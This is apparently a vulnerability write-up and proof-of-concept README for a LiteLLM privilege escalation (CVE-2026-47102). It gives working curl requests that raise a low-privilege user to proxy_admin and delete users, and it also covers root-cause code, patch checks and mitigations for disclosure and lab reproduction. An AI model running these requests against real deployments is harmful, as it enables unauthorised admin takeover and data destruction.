CVE-2026-47102 — LiteLLM-Privilegienerweiterung über /user/update

LiteLLM v1.83.7 (vor v1.83.10) erlaubt der /user/update-Endpunkt Benutzern mit niedrigen Rechten, die Zugriff auf diesen Endpunkt haben, beim Aktualisieren ihres eigenen Kontos das Feld user_role auf proxy_admin zu ändern, was eine unbefugte Privilegienerweiterung ermöglicht.

Beschreibung

Der /user/update-Endpunkt von LiteLLM dient zum Aktualisieren von Benutzerattributen. In den betroffenen Versionen prüft die Funktion can_user_call_user_update() von /user/update, ob der Benutzer berechtigt ist, den angegebenen Benutzer zu aktualisieren (Benutzer dürfen ihre eigenen Datensätze aktualisieren), legt jedoch keinerlei Einschränkungen für die änderbaren Felder fest.

Das bedeutet, dass jeder Benutzer mit Zugriff auf den /user/update-Endpunkt (z. B. ein Benutzer, dem der Administrator die Berechtigung für diese Route erteilt hat, oder ein Angreifer, der über eine andere Schwachstelle Zugriff auf diesen Endpunkt erlangt hat) durch Ändern seines eigenen user_role-Felds seine Rolle auf proxy_admin anheben und damit vollständigen Zugriff auf alle Verwaltungsendpunkte erlangen kann.

Angriffskette

Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
  →  internal_user 获得 route-level 访问权限
  →  POST /user/update  {"user_id": "...", "user_role": "proxy_admin"}  ← CVE-2026-47102
  →  角色提升为 proxy_admin
  →  GET /user/list  (验证管理员访问权限)

Unterschied zu CVE-2026-47101

Die beiden Schwachstellen können miteinander verkettet werden: CVE-2026-47101 wird verwendet, um einen Wildcard-Routen-Key zu erstellen (Zugriff auf /user/update), CVE-2026-47102 wird verwendet, um die eigene Rolle auf proxy_admin anzuheben.

Proof of Concept

Umgebungsvorbereitung

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM（v1.83.7-stable）
docker compose up -d litellm

# 等待服务就绪（约 10-30 秒）
sleep 15

Bestätigen, dass der Dienst läuft

# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10

Die erwartete Ausgabe sollte Protokolle enthalten, die einen erfolgreichen Start anzeigen, z. B. Uvicorn running on http://0.0.0.0:4000.

Schritt 1: internal_user-Konto erstellen

Erstellen Sie mit dem Master-Key ein internal_user-Konto mit niedrigen Rechten:

curl -s -X POST http://localhost:4002/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Erwartete Ausgabe:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Schritt 2: Administrator erteilt Key mit /user/update-Routenberechtigung

Der Administrator erstellt für den internal_user einen API-Key mit Zugriffsberechtigung für die Route /user/update. Dies ist die typische Art, in einer realen Umgebung Zugriff auf den /user/update-Endpunkt zu erhalten:

# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'

Erwartete Ausgabe:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

Schritt 3: Privilegienerweiterung auf proxy_admin (CVE-2026-47102)

Verwenden Sie den im vorherigen Schritt erhaltenen Key mit /user/update-Routenberechtigung, um die Benutzerrolle auf proxy_admin anzuheben:

curl -s -X POST http://localhost:4002/user/update \
  -H "Authorization: Bearer sk-route-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Erwartete Ausgabe:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Schwachstelle: user_role wurde von internal_user auf proxy_admin geändert! Der /user/update-Endpunkt erlaubt Benutzern, ihr eigenes user_role-Feld ohne jegliche Berechtigungsprüfung auf Feldebene zu ändern.

Schritt 4: Administratorzugriff verifizieren

Verifizieren Sie über den /user/list-Endpunkt, dass die Rollenanhebung wirksam ist (verwenden Sie den API-Key des ursprünglichen internal_user; dieser Key unterliegt keinen Routenrestriktionen und erhält nach der Anhebung auf proxy_admin automatisch Verwaltungsrechte):

# 使用已提升为 proxy_admin 的 key（原始 internal_user key，无路由限制）
curl -s -X GET http://localhost:4002/user/list \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json"

Erwartete Ausgabe:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Schritt 5: Erweiterung — Administratorbenutzer löschen

Mit den erlangten proxy_admin-Rechten können über /user/delete beliebige Benutzer gelöscht werden (ebenfalls mit dem API-Key des ursprünglichen internal_user):

curl -s -X POST http://localhost:4002/user/delete \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Erwartete Ausgabe:

1

Ein-Klick-Reproduktion

Die obigen Schritte sind in demo.sh zusammengefasst und können direkt ausgeführt werden:

# 完整复现（包含漏洞版 + 修复版对比）
bash demo.sh

Überprüfung der behobenen Version

Starten Sie die behobene Version (v1.83.10-stable), um zu verifizieren, dass CVE-2026-47102 behoben wurde:

docker compose --profile fixed up -d litellm-fixed

internal_user erstellen:

FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")

Key mit /user/update-Route erstellen:

FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

Versuchen Sie, die Rechte zu erweitern (erwartet: wird blockiert):

curl -s -X POST http://localhost:4003/user/update \
  -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"

Erwartete Ausgabe (die behobene Version blockiert die unbefugte Anfrage):

{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}

Vergleich mit der verwundbaren Version:

Ursachenanalyse

Die Grundursache der Schwachstelle liegt in der Funktion can_user_call_user_update() des /user/update-Endpunkts:

/user/update — fehlende Berechtigungsprüfung auf Feldebene

# 有漏洞的代码 — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # 管理员可以更新任何用户
    elif user_api_key_dict.user_id == user_info.user_id:
        return True  # ❌ 用户可以更新自己的记录 — 包括 user_role 字段！
    return False

Lösungsansatz (v1.83.10+):

def can_user_call_user_update(user_api_key_dict, user_info, data):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # 管理员仍然可以更新任何用户和字段
    elif user_api_key_dict.user_id == user_info.user_id:
        # 限制非管理员可修改的字段
        allowed_fields = {"metadata", "display_name", "email"}
        requested_fields = set(data.keys())
        forbidden = requested_fields - allowed_fields
        if forbidden:
            raise ForbiddenError(f"Cannot modify fields: {forbidden}")
        return True
    return False

Ausnutzungstechnik

Voraussetzungen

Der Angreifer benötigt einen API-Key, der auf den /user/update-Endpunkt zugreifen kann. Dieser kann auf folgende Weise erlangt werden:

1. Administrator erteilt Routenberechtigung — Der Administrator hat einen Key mit der Route /user/update erstellt
2. CVE-2026-47101 — Ausnutzung der Wildcard-Routen-Schwachstelle von /key/generate zum Erstellen eines Wildcard-Keys
3. org_admin-Rolle — org_admin hat in bestimmten Konfigurationen Zugriff auf /user/update

Angriffsschritte

Schritt 1: API-Key mit /user/update-Routenberechtigung erlangen

Schritt 2: /user/update aufrufen, um die Rolle zu erweitern:

POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Schritt 3: Administratorrechte verifizieren:

GET /user/list
Authorization: Bearer sk-route-key

Patch-Analyse (v1.83.10)

Die behobene Version fügt in /user/update eine Berechtigungsprüfung auf Feldebene hinzu:

1. Einschränkung der für Nicht-Administratoren änderbaren Felder — internal_user kann nur nicht-kritische Felder wie metadata aktualisieren
2. Schutz des user_role-Felds — nur proxy_admin kann Benutzerrollen ändern
3. Beibehaltung der Selbstaktualisierung — Benutzer können weiterhin ihre eigenen Basisinformationen aktualisieren, jedoch keine Rechte erweitern

Fehlermeldung: "Only proxy admins can modify user roles."

Repository-Struktur

CVE-2026-47102/
├── README.md                               # This file
├── CVE-2026-47102_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

Gegenmaßnahmen

1. Upgrade auf LiteLLM v1.83.10+ (behebt die Berechtigungsprüfung auf Feldebene in /user/update)
2. Einschränken der Routenberechtigungen von API-Keys — nur notwendige Routen gewähren
3. Prüfen bestehender Benutzer und Keys auf Anzeichen von Privilegienerweiterung
4. Überwachen von /user/update-Aufrufen mit user_role-Änderungen auf auffällige Aktivitäten

Referenzen

• NVD-Detail
• Obsidian-Sicherheitshinweis

Haftungsausschluss: Dieser Inhalt dient ausschließlich Ausbildungszwecken und autorisierten Sicherheitstests.